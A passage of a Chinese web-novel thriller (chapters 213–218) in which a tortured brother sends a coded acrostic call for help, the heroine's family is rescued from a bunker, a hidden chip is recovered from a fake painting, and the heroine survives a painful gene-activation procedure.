顾彦廷一把抱起江晚絮,朝着侧门冲去。
“谁敢拦我,我就让他全家陪葬!!”
**大作。
在混乱与硝烟中,江晚絮趴在顾彦廷的肩头,看着那块黑掉的屏幕。
三哥……
等着我……我一定会救你的!
第213章 暗号
江晚絮坐在沙发上,酒精棉球触碰到手臂上的擦伤时,她下意识地缩了缩手。
“别动。”
顾彦廷单膝跪在她面前给她上药。
他手里的动作轻,嘴里却还是没好气,“刚才在台上拿钢笔扎人的时候不是挺勇的吗?现在知道疼了?”
“顾总,那是肾上腺素飙升,感觉不到疼。”江晚絮有些苍白地笑了笑,伸手戳了戳他紧绷的眉心,“别皱眉了,像个小老头。”
“嫌我老?”顾彦廷抓住她的手指,放在唇边轻轻咬了一口,“江晚絮,你这辈子都别想换老公。就算我老了,你也得推着我的轮椅去跳广场舞。”
气氛稍微缓和了一些。
林舟这时候推门进来,脸色凝重:“顾总,太太。江三少最后出现的坐标在码头,现场只剩下了一辆撞毁的桑塔纳和……一滩血迹。”
江晚絮脸上的笑意瞬间凝固。
“他会被带去哪儿?”江晚絮的声音有些发颤。
顾彦廷站起身,眼底满是寒光,“只要密钥没到手,江明哲就暂时死不了。”
……
京市某处废弃的地下防空洞。
“啊——!”
一声凄厉的惨叫划破了寂静。
江明哲被吊在生锈的铁架上,身上的衬衫已经变成了布条,混着血水贴在身上,鼻涕眼泪也糊了一脸。
“我说!我说!别打了!”
站在他对面的,是一个戴着半张银色面具的男人——“牧羊人”的代理人,代号“屠夫”。
屠夫右手把玩着一把精致的手术刀,刀尖挑起江明哲满的下巴,啧啧两声:“这就受不了了?江三少,我还以为你能多硬气一会儿呢。这才拔了一片指甲盖而已。”
江明哲浑身哆嗦,看都不敢看自己血肉模糊的左手食指。
“我就是个写代码的……我不抗揍啊大哥!”江明哲哭得撕心裂肺,“你们要什么我都给!千万别废我的手,求求你们了!”
屠夫冷笑一声,眼底满是鄙夷。
果然,江家除了江晚絮,都是一群软骨头。
“早这么配合不就完了?”屠夫扔给他一部卫星电话,“打给你妹妹。你知道该说什么。”
江明哲颤颤巍巍地接过电话,却迟迟没有拨号。
“说……说什么?”
“告诉她,我们抓了她的外婆。”屠夫阴森森地凑到他耳边,“如果不交出基因密钥,我就把那个老太婆切成碎块,明天寄一只手,后天寄一只脚,快递到她顶尖研究院的办公室。”
江明哲瞪大了眼睛。
外婆?!
“发什么愣!打!”屠夫一巴掌扇在江明哲脑门上。
江明哲哆嗦着按下了一个号码。
嘟——嘟——
电话接通的那一刻,江明哲感觉自己的心脏都要跳出来了。
“喂?”
听筒里传来江晚絮的声音。
“晚……晚絮……”江明哲带着哭腔,声音破碎不堪,“是我……江明哲……”
“三哥?!”江晚絮的声音骤然拔高,“你在哪?你怎么样了?”
“晚絮,我受不了了……真的太疼了……”江明哲对着免提大声哭嚎,“他们……他们抓了外婆!他们说要杀了外婆!”
外婆。
江晚絮的逆鳞。
“晚絮,你把那个什么破密钥给他们吧……我想回家……我不玩了……我想回家……”
江明哲一边哭,一边断断续续地念叨着:
“我……真的好怕死啊晚絮……”
“假如你不答应他们吧,那东西哪有人命重要?”
“降温了,这鬼地方冷得要死,我想穿我的羊绒大衣……”
屠夫在旁边听得不耐烦,踹了一脚椅子:“少他妈废话!说重点!”
江明哲吓得一激灵,赶紧加快了语速,像是在背书一样:
“定西那边的老宅子我不要了……”
“位子我也不争了。”
“晚絮,追求个屁的科学啊,活着不好吗?”
“踪影全无太可怕了,我不想死……”
“救救我……也救救外婆……”
“外面的世界多好啊……”
“婆婆妈妈的干什么!你给他们!”
最后一句,江明哲几乎是吼出来的。
屠夫满意地点了点头,一把抢过电话,对着话筒冷笑道:“江小姐,听到了吗?你最爱的外婆,和你最废物的哥哥,都在我手上。明天中午十二点,我要看到密钥。否则,你就准备好收尸吧。”
说完,屠夫直接挂断了电话。
“做得不错。”屠夫拍了拍江明哲的脸,“看来你真的很怕死。”
江明哲垂着头,凌乱的发丝遮住了他的眼睛。
在屠夫转身离开的那一瞬间,江明哲那双原本充满恐惧和懦弱的眼睛里,瞬间变得凌厉起来。
“我是怕死。”
江明哲在心里默默地说。
“但我更怕……再一次看到她失望的眼神。”
顾家别墅。
江晚絮握着已经被挂断的手机,嘴唇不受控制地颤抖起来。
“外婆……”
她的眼泪终于忍不住流了下来。
外婆与她虽然没有血缘关系,但却是她在这个世界上最后的亲人了。
“别慌。”
顾彦廷轻轻拥着她,沉思片刻后提出自己的疑问。
“江明哲
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刚才的话,不对劲。”
“不对劲?”江晚絮抬起头,泪眼朦胧。
“他是个怂包不假,但他不是个啰嗦的怂包。”顾彦廷冷静地分析,“他刚才那些话,前言不搭后语,而且……他在刻意强调某些字。”
江晚絮猛地回过神来。
童年。
那是只有他们兄妹才知道的游戏。
那时候江明哲还没有那么冷漠,他带着小小的江晚絮躲在阁楼里,模仿谍战片里的特务接头。他们约定,如果有一天谁被“敌人”抓住了,就要用藏头诗来传递消息。
“录音!林舟,回放录音!”江晚絮立刻喊道。
林舟迅速操作平板,将刚才的通话录音调了出来。
“我真的好怕死……”
“假装答应……”
“降温了……”
江晚絮闭上眼,在脑海里迅速提取每一句话的第一个字。
【我。假。降。】
“定西那边的老宅子……”
“位子我也不争了……”
“追求个屁的科学……”
“踪影全无……”
【定。位。追。踪。】
“救救我……”
“外面的世界……”
“婆婆妈妈……”
【救。外。婆。】
江晚絮将所有的信息整理出来后,激动地抓住了顾彦廷的手臂,“三哥他在骗他们!他身上一定有**!他是故意的,故意拿到电话的!”
顾彦廷点了点头。
“看来,这小子还有救。”
他转头看向林舟,“那部卫星电话的信号源锁定了吗?”
“锁定了!”林舟手指在键盘上飞舞,“虽然是加密卫星信号,但江三少刚才通话时长足足拖了两分钟,足够我们反向追踪。位置在……西郊废弃的防空洞!”
“很好。”
顾彦廷站起身,开始下达命令。
“通知M姨,让她的人包围西郊。”
“把我的‘晨曦’特战队也拉过去。”
顾彦廷走到自己的书桌前,从抽屉里拿出一把顺手的****靴筒。
他回过头,看着江晚絮。
“你在家等我。”
“不。”
江晚絮站了起来。
“那是我的哥哥,那是我的外婆。”
“顾彦廷,我要去。”
“我要亲眼看着欺负我亲人的人,付出代价。”
顾彦廷盯着她看了三秒,突然笑了。
那笑容里带着几分无奈,更多的是宠溺。
“行。”
他走过来,在她额头上落下一吻。
“那就一起去。”
“既然这天都要塌了,那咱们夫妻俩,就一起把它捅个窟窿。”
第214章 反杀
西郊防空洞。
M姨穿着一件优雅的旗袍,外面披了一件黑色的雨衣。
她站在顾彦廷身边,看着眼前黑漆漆的洞口,眼神复杂。
“二十年了。”M姨轻叹,“方颖当年得知这个秘密后,出于对晚絮的保护死守这个秘密。没想到,这帮人还是不死心。”
“今天过后,他们就没有死心的机会了。”
顾彦廷冷冷地说了一句,抬手做了一个战术手势。
“行动。”
几十名黑衣保镖立刻悄无声息地涌向洞内。
防空洞内。
江明哲被重新吊回了铁架上。
他垂着头,看起来像是已经昏死过去。
但实际上,他的大脑正在飞速运转。
刚才那个电话,是他这辈子演得最好的一出戏。
他利用了牧羊人的自大。
他们以为他是个只知道写代码的废物,根本不会防备他在言语里藏下的陷阱。
“一定要听懂啊,晚絮……”
江明哲在心里默念。
就在这时,外面突然传来了一阵细微的骚乱声。
紧接着,是沉闷的**,装了**,听起来像是订书机按下的声音。
“什么人?!”
看守的两个黑衣人立刻举起枪,警惕地看向门口。
“砰!砰!”
两声枪响,两名黑衣人的眉心瞬间多了一个血洞,直挺挺地倒了下去。
大门被踹开。
顾彦廷走了进来。他身后的林舟和其他队员迅速散开,清理残余的守卫。
“顾……顾彦廷?!”
江明哲努力睁开被血糊住的眼睛,看到那个身影时,竟然有一种想哭的冲动。
从来没觉得顾彦廷这么顺眼过!
顾彦廷走过来,手中**一挥,割断了绳索。
江明哲摔在地上,疼得龇牙咧嘴:“你就不能温柔点?我可是伤员!”
“还能贫嘴,看来死不了。”
顾彦廷嫌弃地瞥了他一眼,但还是伸出手,把他从地上拽了起来。
“晚絮呢?”江明哲急切地问,“外婆救下了吗?”
“晚絮在安全区,外婆在哪?”顾彦廷反问。
“最里面的有个密室!”江明哲指着走廊深处,“屠夫也在里面,他手里有引爆器!”
话音未落,深处突然传来一阵机械启动的声音。
一道厚重的防爆门正在缓缓落下。
“不好!他要封死密室!”江明哲脸色大变,“外婆还在里面!如果门关上,里面会抽干氧气!”
顾彦廷眼神一凛,抬腿就要冲过去。
“来不及了!”江明哲一把拉住他,“那是液压门,就算是**也炸不开!”
“那怎么办?!”顾彦廷怒吼,“那是你外婆!”
江明哲咬了咬牙,推开顾彦廷,踉跄着冲向了旁边的一个控制台。
那里有一台连接着整个防空洞系统的旧电脑。
“掩护我!”
江明哲大吼一声,双手虽然颤抖,虽然在那根被拔了指甲的手指触碰键盘时钻心地疼,但他没有停下。
屏幕上的代码疯狂滚动。
“警告!系统遭到入侵!”
“防火墙正在重置……”
屠夫的声音从广播里传来,带着疯狂的笑意:“江三少,没用的!这是涅墨西斯财团最新的加密锁,凭你那双废手,解不开的!”
“去你大爷的!”
江明哲骂了一句脏话,额头上的冷汗混着血水滴落在键盘上。
“只要是人写的程序,就有漏洞。”
他仿佛回到了五年前,那时候晚絮还在做实验,他在旁边帮她调试数据。
那时候他说:“妹妹,以后你的实验数据,哥哥帮你守着,谁也偷不走。”
可是后来,他食言了。
他亲手把她的成果送给了江芊妤。
“这一次……我绝不会再输!”
江明哲大吼一声,重重地敲下了回车键。
“咔嚓!”
原本正在缓缓落下的防爆门,在离地面还有三十厘米的时候,突然卡住了。
紧接着,系统发出刺耳的警报声。
【系统重置成功。门禁开启。】
防爆门缓缓升起。
“干得漂亮!”林舟忍不住赞叹。
顾彦廷没有废话,带着人直接冲了进去。
密室内。
屠夫正抓着一个满头银发的老人,手里拿着一把枪,抵着老人的太阳穴。
老人虽然被绑着,虽然脸上带着伤,但那双眼睛却依然清明,没有丝毫畏惧。
“别过来!”
屠夫看到门开了,眼中闪过一丝慌乱,“再过来我就打死这老太
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婆!”
顾彦廷停下脚步,手中的枪稳稳地指着屠夫。
“你可以试试。”顾彦廷冷冷地说,“看看是你快,还是我快。”
就在这时,江晚絮不顾阻拦,从后面冲了进来。
“外婆!”
看到被挟持的老人,江晚絮的眼泪瞬间决堤。
“晚晚……”外婆看到江晚絮,浑浊的眼中泛起泪光,“别管外婆……快走……他们要害你……”
“闭嘴!”屠夫勒紧了外婆的脖子,“江晚絮,把密钥交出来!我知道在你身上!或者……在你肚子里?”
屠夫的目光下移,落在江晚絮微微隆起的小腹上,眼中闪过一丝恶毒。
“听说‘晨曦’家族会把密钥遗传给下一代。不如我现在把你剖开看看?”
“你敢!”
顾彦廷暴怒。
“我数三声。”屠夫狞笑着,“一。”
局面僵持不下。
顾彦廷投鼠忌器,不敢开枪。
江明哲扶着门框,喘着粗气站在后面。
他看着眼前的一幕,看着那个被自己伤透了心的妹妹。
他突然觉得,自己这辈子挺失败的。
身为哥哥,没护住妹妹。
身为外孙,没护住外婆。
那这一次呢?
“二!”屠夫的手指扣上了**。
就在这一瞬间,谁也没想到的事情发生了。
江明哲突然从口袋里掏出一个东西,那是刚才他在控制台顺手摸到的一个**。
“顾彦廷!动手!”
江明哲大喊一声,拉开拉环,直接扔向了屠夫的脚下。
“砰!”
强烈的白光瞬间照亮了整个密室。
屠夫下意识地闭眼,手中的动作慢了半拍。
“砰!”
顾彦廷几乎是在同一时间扣动了**。
**精准地击中了屠夫握枪的手腕。
“啊!”屠夫惨叫一声,枪脱手而出。
“外婆!”江晚絮不顾一切地冲了过去。
屠夫的手腕被打伤,但他竟然用另一只手从怀里掏出一把备用的**,面目狰狞地对准了扑过来的江晚絮。
“**吧!”
此时顾彦廷刚开完一枪,正在调整角度,根本来不及再次射击。
江晚絮抱着外婆,背对着屠夫,根本无法躲避……
第215章 反制
江晚絮躲无可躲,而顾彦廷也没办法第一时间过来救助……
千钧一发之际。
一道满身是血的身影扑了过来。
“砰!”
枪响了。
但江晚絮没有感觉到疼痛。
她感到有什么温热的液体溅在了她的脖子上。
她回过头。
看到了江明哲。
那个平日里最怕疼、最惜命、最自私的三哥,此刻正挡在她和外婆身前。
他的背上,多了一个血洞。
鲜血汩汩涌出,染红了他本就残破的衬衫。
“三……哥?”
江晚絮的声音颤抖得不成样子。
江明哲的身子晃了晃,嘴角却扯出一个难看的笑容。
“这一次……我……没躲……”
不等他将话说完,整个人就软软地倒了下去。
“江明哲!!”
江晚絮撕心裂肺的哭喊声,响彻了整个地下密室。
顾彦廷红着眼,一步上前,对着已经被林舟按在地上的屠夫,狠狠地补了两枪大腿。
“带走!别让他**!我要让他后悔来到这个世上!”
医院,急救室外。
江晚絮浑身是血地坐在长椅上,整个人像是被抽走了灵魂。
外婆已经被安排在隔壁病房休息,受了惊吓,但万幸没有大碍。
顾彦廷拿着一杯热牛奶走过来,蹲在她面前,握住她冰凉的手。
“喝点。”
江晚絮摇摇头,眼泪无声地滑落:“顾彦廷,你说……我是不是扫把星?**嵩说得对,靠近我的人,都会不幸。”
“胡说八道。”顾彦廷皱眉,把牛奶送到她嘴边,“江明哲那是自愿的。他是个男人,保护妹妹和外婆是应该的。哪怕他是个**,那也是个有血性的**。”
“可是……那是脊椎啊……”江晚絮哽咽道,“医生说那个位置……如果是贯穿伤……”
顾彦廷沉默了。
他也知道那一枪意味着什么。
急救室的灯灭了。
医生推门走了出来,摘下口罩,神色凝重。
“医生!我哥怎么样?”江晚絮几乎是弹起来,冲了过去。
医生叹了口气:“命保住了。但是……**伤到了脊髓神经,造成了不可逆的损伤。这辈子……恐怕要在轮椅上度过了。”
江晚絮身子一软,差点瘫倒在地。
顾彦廷眼疾手快地扶住了她。
病房里。
麻药劲过了,江明哲醒了过来。
他想动一下腿,却发现下半身像是不存在一样,没有任何知觉。
他是学医工结合的,也是顶尖的极客,他比谁都清楚这意味着什么。
他苦笑一声,微闭了闭眼。
门开了。
江晚絮走了进来,眼睛肿得像核桃。
“醒了?”江晚絮强忍着眼泪,走到床边。
“嗯。”江明哲扯了扯嘴角,想笑,却牵动了身上的伤口,“别哭丧着脸,我又没死。”
“江明哲,你是不是傻?”江晚絮终于忍不住了,眼泪大颗大颗地往下掉,“你不是最怕疼吗?你不是最自私吗?你冲上去干什么啊!”
江明哲看着她,眼神变得温柔起来。
“是啊,我最怕疼了。”
“但是晚絮……我想起五年前,你给芊妤捐骨髓的时候,你说你也怕疼。”
“那时候,我骂你矫情。”
“后来你被推下楼,断了腿,我也没去看你一眼。”
江明哲的声音有些哽咽,“刚才那一枪打在我身上的时候,我就在想……这大概就是报应吧。”
“这双腿,是我欠你的。”
“现在还给你了,咱们……两清了?”
江晚絮听着这些话,心像被刀割一样疼。
她恨过江明哲吗?恨过。恨他的冷漠,恨他的助纣为虐。
可是,当他真的用命来偿还的时候,那些恨意,似乎都随着那滩血流干了。
她伸出手,轻轻握住了江明哲那只缠着纱布的手——那只即使在被拔指甲时也没有屈服的手。
“三哥。”
江晚絮的声音很轻,却很坚定。
“我原谅你了。”
简简单单五个字。
江明哲的眼泪瞬间决堤。
这个大男人,捂着脸,在病床上哭得像个孩子。
“对不起……晚絮……对不起……”
这句迟到了五年的道歉,终于说了出来。
顾彦廷站在门外,透过玻璃看着这一幕。
“顾总。”
林舟快步走来,低声说道,“M姨那边有消息了。屠夫
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招了。”
顾彦廷眼神一冷,转身大步离开。
审讯室设在顾氏集团大楼的负三层。
屠夫已经被折磨得不成人形,M姨优雅地坐在他对面,手里端着一杯红茶。
“说吧。”顾彦廷推门而入,拉开椅子坐下,气场全开,“关于江晚絮母亲方颖的死,还有那个时光胶囊,到底怎么回事。”
屠夫惨笑一声,看着顾彦廷:“顾总,如果我说了,能给我个痛快吗?我不想回去。”
“看你表现。”顾彦廷冷冷道。
屠夫深吸一口气,像是认命了。
“当年陈曦带着基因密钥逃离后,我们找到了她。但是太迟了……她,跳了崖,尸骨无存。”
“后来我们找了很多年,才找到方颖。而方颖的三个儿子,根据我们的观察,并没有得到基因优化。”
屠夫说到这里,视线转向了江晚絮,“根据我们的推断,这种显性基因标记,只有在女性身上才会发挥作用。当我们得知方颖的第四个孩子是女孩的那天,我们就开始布局了……而方颖当年,并没有难产。”
最后一句话,就让在场的所有人脸色一变。
“我们指使**嵩监视方颖。他为了得到方颖手里的科研专利,在她的饮食里长期投放一种慢性的神经毒素。”
顾彦廷握紧了拳头。虽然早就猜到江父不是个东西,但听到确切的真相,还是让人恶心。
“但是……”屠夫话锋一转,“方颖早就发现了。”
“什么?”M姨手里的茶杯晃了一下。
“方颖是个天才,她怎么可能发现不了枕边人的背叛?”屠夫回忆道,“她发现**器后,并没有拆穿,而是主动联系了当时的‘牧羊人’首领。”
“她说,她愿意交出完整的基因密钥,换取女儿的一生平安。”
顾彦廷心中一震。
“那为什么她还是**?”顾彦廷问。
“因为首领贪心。”屠夫冷笑,“首领拿到密钥后,要求方颖自我了断,以绝后患。方颖拒绝了。她意识到我们根本不会放过她的孩子,所以她销毁了那份密钥,并且……启动了反制程序。”
“为了报复,我们加大了毒素的剂量。导致她在分娩时大出血,最终身亡。”
第216章 芯片找到了
审讯室里一片死寂。
原来,那个看似柔弱的女人,为了保护还没出生的江晚絮,独自一人对抗了整个黑暗世界,直到生命的尽头。
“那时空胶囊呢?”顾彦廷追问,“江晚絮挖出来的胶囊里,为什么只有一封遗书和几封信?”
“哈哈哈……”屠夫突然笑了起来,“因为那根本不是方颖留下的东西!”
“真的胶囊里,除了方颖的遗书,确实藏着半份加密的生物芯片——那是重启‘晨曦计划’的关键。”
“但是,**嵩那个蠢货,他在埋下去没几天,就偷偷挖出来看过。他以为里面有什么金银财宝或者专利文件,结果只看到一块破芯片和一封信。”
“他看不懂芯片的价值,又怕那封信暴露他下毒的事实,就把东西拿走了,换了几封他伪造的、充满哀怨的情书放进去,想把方颖塑造成一个为情所困的傻女人。”
顾彦廷眼神一凛:“那真正的芯片在哪?”
屠夫抬起头,眼神诡异地看着顾彦廷。
“**嵩虽然蠢,但他也是个守财奴。他觉得那是方颖留下的,肯定值钱。但是……”
“那块芯片,我们找了很久都没有找到。”
屠夫露出了一个恶毒的笑容。
“顾总,不是我小看你。如今江老狗已经**,我不信涅墨西斯和牧羊人都找不到的东西,你能找到。”
顾彦廷站起身,冷眼看着他。
“你大概忘记了,江晚絮曾经在江家老宅住了十几年吧。”
说完,他也没有去看屠夫瞬间苍白的脸,而是直接转身往外走。
出了审讯室,顾彦廷拿起手机,拨通了江晚絮的电话。
“晚晚,听我说,你母亲留下的东西找到了。”
“在哪?”江晚絮的声音听起来很疲惫。
“在老宅。”顾彦廷一边大步流星地往外走,一边说道,“我现在过去找。你在医院陪着江明哲和外婆,哪也别去。”
“我也要去!”
“不行!”顾彦廷断然拒绝,“太危险了。”
江晚絮沉默了好一会儿,没再逞强。
“那你小心点。”
顾彦廷挂了电话后,再次回头看了一眼失魂落魄的屠夫,冷笑一声。
自以为是的人,最终都只能自作自受。
顾彦廷信心满满地带人去了江家老宅。
两小时后。
江家老宅,一片狼藉。
顾彦廷阴沉着一张脸,脚边是被暴力拆解的红木书柜。
“顾总,所有能藏东西的地方都找过了。”手下战战兢兢地汇报,“没有找到芯片。”
顾彦廷烦躁地扯了扯领带,眼底是化不开的戾气。
他掏出手机,看了一眼时间。
距离屠夫招供已经过去了两个小时。如果今天找不到,涅墨西斯和牧羊人的人一旦反应过来,这地方马上会被夷为平地。
没办法,只能问她了。
市一院,特护病房。
江晚絮坐在一把有些硌人的木椅子上,手里拿着把水果刀,正在削苹果。
她的动作很笨拙,苹果皮断了好几次,果肉也被削得坑坑洼洼。
以前在江家,这种活儿她是没资格做的。因为柳芸嫌她晦气,说她碰过的水果有穷酸味,只配去刷马桶、洗地毯。
“你要是再削下去,我就只能吃苹果核了。”
躺在病床上的江明哲,虚弱地开了口。
江晚絮手一抖,差点削到自己的手指。
“你嫌弃啊?”她吸了吸鼻子,强行挤出一个笑,“嫌弃也得吃,这是我第一次给别人削苹果。”
“不嫌弃。”江明哲眼神黯淡了一下,视线落在自己毫无知觉的腿上,“我现在就是个废人,有的吃就不错了,哪敢挑三拣四。”
“不许胡说。”江晚絮把那颗只有核桃大小的“苹果肉”塞进他嘴里,“医生说了,只要复健做得好,以后……以后还是有机会站起来的。”
骗人。
他们兄妹俩心里都清楚,脊髓损伤,那是一辈子的事情。
就在这时,江晚絮的手机响了。
是顾彦廷。
“怎么样?找到了吗?”江晚絮急切地问。
电话那头传来顾彦廷压抑着怒火的声音:“晚晚,你确定**嵩没有别的藏宝地了?这老宅子快被我拆成毛坯房了,耗子洞都掏了三个,还是没有。”
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江晚絮的心沉了下去:“不可能……屠夫说就在老宅。**嵩那个人贪财又多疑,他觉得最值钱的东西,一定会放在离自己最近的地方。”
“最近的地方就是书房。”顾彦廷冷哼,“除非他把那芯片吃了。”
病房里很安静,江明哲听到了电话里的内容。
他费力地转过头,看着天花板,突然像是想起了什么。
“让他去看看书房里的那幅画。”
江晚絮一愣,连忙对电话说:“三哥说看画。”
“画?”顾彦廷在那头皱眉,“墙上的画我都检查过,后面没有暗格。”
“不是暗格。”江明哲叹了口气,“是一幅《向日葵》的仿品。挂在书架最不起眼的角落里。”
“那幅画有什么特别的?”江晚絮问。
“呵。”江明哲轻笑一声,“江家破产的时候,债主上门搬东西,把所有值钱的古董字画都搬空了。唯独那幅画,因为是拙劣的赝品,连收破烂的都不要,被扔在了地上。”
“当时他扑过去抱着那幅画死都不撒手,还被债主踹了两脚。”
“当时我们都以为他是受刺激过度疯了。现在想想……”江明哲闭了闭眼,“一个连亲生女儿都能卖的人,会为了一副赝品拼命?”
顾彦廷听完,挂断了电话。
他转身回到书房。
果然在角落里看到一幅落满灰尘的油画。
画框都裂了,画布上的向日葵画得极其扭曲,看着就不值钱。
“顾总,这玩意儿……”林舟有些嫌弃。
“拿刀来。”
顾彦廷接过**,没有丝毫犹豫,直接沿着画框边缘划开。
“刺啦——”
画布被撕裂。
画布的夹层里,有一张薄薄的、只有指甲盖大小的半透明芯片,静静地贴在木板上。
它看起来那么不起眼。
可就是为了这么个东西,陈曦和方颖惨死,江晚絮也被**嵩**了整整二十多年。
顾彦廷捏起那枚芯片,指尖微微泛白。
“林舟。”
“在。”
“把这房子烧了。”顾彦廷转身就走,声音冷得像冰,“看着恶心。”
第217章 成功了
顾彦廷带着芯片回到了顾氏顶层的办公室。
这件办公室,有最高级别的屏蔽系统和最先进的计算机。
芯片**入了读取器。
大屏幕上瞬间跳出了无数复杂的数据流,像是绿色的瀑布一样疯狂刷屏。
“天哪……”M姨推了推鼻梁上的眼镜,向来沉稳的声音此刻有些颤抖,“方颖……她简直是个疯子,也是个神。”
“什么意思?”顾彦廷把玩着手里的打火机,眉头紧锁。
江晚絮站在一旁,看着屏幕上的数据,心中五味杂陈。
“这不仅是基因密钥。”M姨转过身,神色凝重地看着江晚絮,“这是一把‘钥匙’。它可以激活你体内沉睡的‘晨曦’基因。”
“简单来说,”M姨调出一张人体模拟图,“一旦融合,你的大脑开发度将无限突破人类极限,拥有强化直觉、超级记忆力,甚至……某种程度上的心灵感应。”
顾彦廷的动作停住了。
“副作用呢?”他一针见血地问,“这世上没有白吃的午餐。”
M姨沉默了片刻,伸出三根手指。
“第一,融合过程极其痛苦,相当于把全身的骨头打碎重组。历史上,这种融合的死亡率是30%。”
“第二,一旦激活,你就成了活体信号源。涅墨西斯财团的**会永远锁定你。你这辈子,都别想过安生日子。”
“不行。”
顾彦廷想都没想,直接把打火机拍在桌子上,“把这玩意儿毁了。我顾彦廷的女人,不需要当什么超级英雄,我养得起,也护得住。”
“毁不掉。”M姨叹气,“这芯片有自毁程序,一旦暴力破坏,里面的数据会直接发送给激进派。到时候,我们更被动。”
江晚絮站在一旁没说话。
她的手下意识地抚摸着手臂上那道淡淡的疤痕——那是当年柳芸为了逼她给江芊妤输血,拿烟灰缸砸的。
那时候她哭着求饶:“妈,我疼……”
柳芸怎么说的?
“疼?芊妤在病房里等着救命,你这点疼算什么?江晚絮,你怎么这么自私!”
她这一生,都在被人摆布,被人践踏。
因为她弱。
因为她没有反抗的能力。
“我愿意。”
江晚絮清冷的声音打破了沉默。
“你说什么?”顾彦廷转过头,眼里满是不可置信,“江晚絮,你脑子进水了?30%的死亡率!你这是在赌命!”
“我不赌同样是死。”江晚絮抬起头,那双曾经总是含着泪光怯懦的眼睛,此刻亮得吓人,“顾彦廷,涅墨西斯不会放过我的。与其躲在你身后做一只随时会被踩死的蚂蚁,不如我自己变成大象。”
“我不同意!”顾彦廷抓住她的肩膀,“我说了我会保护你!哪怕是把顾家赔进去,我也能保你平安!”
“那三哥呢?”江晚絮反问,“外婆呢?还有你……顾彦廷,你为了我,已经在跟整个财团作对了。我不想有一天,看到你也像三哥一样,躺在血泊里。”
顾彦廷怔了怔。
“我受够了无能为力的感觉。”江晚絮轻轻推开他的手,走到M姨面前,目光坚定。
“M姨,准备手术吧。”
“如果我**,就把我的尸体烧成灰。”
“如果我活下来……”
江晚絮回头看了一眼顾彦廷,露出一抹凄美的笑。
“那就是我江晚絮,向这个操蛋的世界,复仇的开始。”
手术台冰冷刺骨。
江晚絮躺在上面,四肢被束缚带固定。这是为了防止她在剧痛中挣扎导致仪器错位。
“晚晚,现在后悔还来得及。”
顾彦廷穿着无菌服站在旁边,想要劝她放弃。
“顾总,这个时候别动摇军心行吗?”江晚絮调侃了一句,虽然声音已经在发颤,“记得你答应我的,我要是疼哭了,不许笑话我。”
“我不笑。”顾彦廷红着眼,“你要是疼,就咬我。”
他把手臂伸了过去。
“开始吧。”M姨深吸一口气,按下了启动键。
“嗡——”
数根极细的金属探针,同时刺入了江晚絮的脊椎、后脑和四肢百骸。
那一瞬间。
江晚絮觉得自己的灵魂被生生撕裂了。
“啊——!!!
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”
凄厉的惨叫声,哪怕隔着隔音玻璃,都让人毛骨悚然。
无数电流在神经里疯狂乱窜,像是要把她过去的每一段记忆都翻出来,用刀子刻一遍。
记忆如潮水般涌来。
……
“江晚絮,你就是个扫把星!你出生就克**你妈!”——这是**嵩醉酒后的毒打。
“晚絮啊,芊妤身体弱,你是姐姐,你就不能让让她吗?把你的论文给她怎么了?”——这是大哥江明泽道貌岸然的指责。
“丑八怪!”——这是二哥江明宇嚣张的笑声。
画面一转。
是那个雨夜。
她在垃圾桶旁哭着将自己所有的研究从恶臭中抢救出来。
太疼了。
“我不行了……杀了我……顾彦廷……杀了我……”
江晚絮在手术台上疯狂挣扎,束缚带勒进了肉里,血肉模糊。
“停下!快停下!”顾彦廷疯了一样扑过去,想要拔掉仪器,“她受不了了!M姨!停下!”
“不能停!”M姨挡住控制台,满头大汗,“现在停下,她会脑死亡!必须撑过去!”
“晚晚!看着我!”顾彦廷冲过去,一把抱住她的头,也不管那些探针,“江晚絮!你看着我!你不是要复仇吗?你不是要让所有人后悔吗?这点疼算什么!”
“你得活着才能报仇啊!”
顾彦廷把手臂塞进她嘴里:“咬住!别咬舌头!”
江晚絮双眼翻白,意识已经处于崩溃的边缘。
她狠狠地咬住了顾彦廷的手臂。
鲜血瞬间染红了无菌服。
在无尽的黑暗中,她仿佛看到了那个小小的自己,缩在墙角瑟瑟发抖。
“别怕。”
一个冷漠的声音在脑海深处响起。
“既然他们想让你死,那你就从地狱里爬出来,变成恶鬼,把他们一个个都拖下去。”
“滴——”
“生命体征平稳。”
“融合……成功。”
随着M姨虚脱般的一声宣告,手术台上的江晚絮,缓缓闭上了眼睛。
顾彦廷瘫坐在地上,看着怀里满身是血的女人,哭了。
第218章 他们想要什么
江晚絮醒来的时候,世界变了。
并不是环境变了,而是她感知的世界变了。
她不用睁眼,就能听到十米外,林舟正在压低声音打电话,语速很快,心跳频率120,显然很焦虑。
她能闻到空气中除了消毒水,还有顾彦廷身上淡淡的烟草味,以及……血腥味。
江晚絮缓缓睁开眼。
“晚晚?”
顾彦廷一直守在床边,见她醒来,立刻凑了过来,那张俊脸上满是胡茬,憔悴不堪。
“感觉怎么样?有没有哪里不舒服?”他伸出手,想摸摸她的脸,却又怕弄疼她。
江晚絮看着他。
奇怪。
以前看到他这样担心自己,她会心疼,会感动,会想要抱住他撒娇。
可是现在……
她的内心,是平静的。
“我很好。”
江晚絮坐起身,视线落在顾彦廷包扎着纱布的手臂上。
“伤口处理得太草率了。”江晚絮淡淡地说,“你需要打破伤风。”
顾彦廷愣住了。
这语气,有点太平淡了。
“晚晚……你在怪我?”顾彦廷有些慌。
江晚絮看他这幅紧张的样子,再也装不下去,“噗嗤”一声笑了出来。
“傻瓜,我逗你的。”
顾彦廷愣了好半天才反应过来。
“你你你……你居然敢开我的玩笑?!顾夫人,你胆子太大了。”
他说着就笑了。
可笑着笑着,眼眶就泛了红。
“晚晚,”他看着她,有些哽咽,“你没事真是太好了。”
江晚絮看出他的崩溃,也看出了他深藏在笑容之下的恐慌。
她做起来,像哄孩子一样对着顾彦廷伸出双手,“过来让我抱抱。”
顾彦廷嘴角抽了抽,但还是走过去,将头埋在她的颈窝。
这时,M姨走了进来,看到这一幕,咳了一声。
两人却没任何反应。
M姨无奈,只能叹了口气,坐在一旁的椅子上,等两人腻歪结束。
过了一会儿,江晚絮抬头看到M姨,慌忙推开顾彦廷。
“丫头,”M姨一脸慈爱的笑,“好些了吗?”
江晚絮点头。
M姨上下打量了她一遍,摇摇头给出结论,“看来所谓的‘基因优化’并没有那么神奇。”
顾彦廷理了理自己的领口,仿佛刚才那个娇羞的男人从未出现过一般。
“所以……”他看向M姨,“涅墨西斯和牧羊人这些年的追杀,根本就是个笑话。”
“没错,”M姨点点头,将手里的报告递给顾彦廷,“晚絮的确突破了人的生理极限,但也仅仅只是大脑开发比正常人高了5%而已。”
